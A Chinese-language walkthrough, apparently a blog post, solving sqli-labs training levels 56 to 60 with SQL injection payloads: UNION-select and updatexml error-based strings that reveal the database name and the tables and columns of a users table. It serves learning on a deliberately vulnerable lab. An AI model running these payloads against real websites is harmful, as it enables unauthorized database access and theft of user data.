sql-labs56-60通关攻略

第56关

一查询数据库

?id=-1')union select 1,2,database()--+

二.查表

?id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

三.查看users表中列名

?id=-1')union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第57关

一.查看数据库

?id=-1"union select 1,2,database()--+

二.查看表名

?id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

三.查看users表中列名

?id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第58关

一.查看数据库

?id=1' and updatexml(1,concat(1,(select database())),1)--+

二.查看表名

?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

三.查看users表中列名

?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

第59关

一.查看数据库

?id=1 and updatexml(1,concat(1,(select database())),1)

二.查看表名

?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)

三.查看users表中列名

?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)

第60关

一.查看数据库

?id=1") and updatexml(1,concat(1,(select database())),1)--+

二.查看表名

?id=1") and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

三.查看users表中列名

?id=1")and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

相关推荐
在努力的前端小白5 分钟前
Spring Boot 敏感词过滤组件实现:基于DFA算法的高效敏感词检测与替换
java·数据库·spring boot·文本处理·敏感词过滤·dfa算法·组件开发
未来之窗软件服务7 分钟前
自建知识库,向量数据库 (九)之 量化前奏分词服务——仙盟创梦IDE
数据库·仙盟创梦ide·东方仙盟·自建ai·ai分词
冒泡的肥皂3 小时前
MVCC初学demo(一
数据库·后端·mysql
.Shu.4 小时前
Redis Reactor 模型详解【基本架构、事件循环机制、结合源码详细追踪读写请求从客户端连接到命令执行的完整流程】
数据库·redis·架构
yatingliu20195 小时前
HiveQL | 个人学习笔记
hive·笔记·sql·学习
Bruce_Liuxiaowei6 小时前
MySQL完整重置密码流程(针对 macOS)
mysql
麦麦大数据7 小时前
F003疫情传染病数据可视化vue+flask+mysql
mysql·flask·vue·大屏·传染病
薛晓刚7 小时前
当MySQL的int不够用了
数据库
SelectDB技术团队7 小时前
Apache Doris 在菜鸟的大规模湖仓业务场景落地实践
数据库·数据仓库·数据分析·apache doris·菜鸟技术
星空下的曙光8 小时前
mysql 命令语法操作篇 数据库约束有哪些 怎么使用
数据库·mysql